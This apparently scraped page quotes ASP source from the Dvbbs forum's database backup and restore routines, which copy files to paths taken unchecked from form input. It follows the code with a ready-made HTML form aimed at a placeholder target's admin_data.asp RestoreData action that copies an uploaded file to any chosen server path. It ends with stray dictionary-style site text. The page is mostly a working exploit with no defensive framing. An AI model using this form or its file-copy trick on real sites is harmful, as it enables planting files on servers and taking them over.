sub updata() Dbpath=request.form("Dbpath") Dbpath=server.mappath(Dbpath) bkfolder=request.form("bkfolder") bkdbname=request.form("bkdbname") Set Fso=server.createobject("scripting.filesystemobject") if fso.fileexists(dbpath) then If CheckDir(bkfolder) = True Then fso.copyfile dbpath,bkfolder& """& bkdbname else MakeNewsDir bkfolder fso.copyfile dbpath,bkfolder& """& bkdbname end if response.write "备份数据库成功,您备份的数据库路径为" &bkfolder& """& bkdbname Else response.write "找不到您所需要备份的文件。" End if end sub |
case "RestoreData" '恢复数据 admin_flag=",32," dim backpath if not Dvbbs.master or instr(","&session("flag")&",",admin_flag)=0 then Errmsg=ErrMsg + "<BR><li>本页面为管理员专用,请<a href=admin_index.asp target=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。" dvbbs_error() else if request("act")="Restore" then Dbpath=request.form("Dbpath") backpath=request.form("backpath") if dbpath="" then response.write "请输入您要恢复成的数据库全名" else Dbpath=server.mappath(Dbpath) end if backpath=server.mappath(backpath) Set Fso=server.createobject("scripting.filesystemobject") if fso.fileexists(dbpath) then fso.copyfile Dbpath,Backpath response.write "成功恢复数据!" else response.write "备份目录下并无您的备份文件!" end if else call RestoreData() end if end if |
<form action="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> <p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> <p>要复制到的位置:<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form> |
了解这些字:动的意思 网的意思 论的意思 坛的意思 获的意思 得的意思 的的意思 分的意思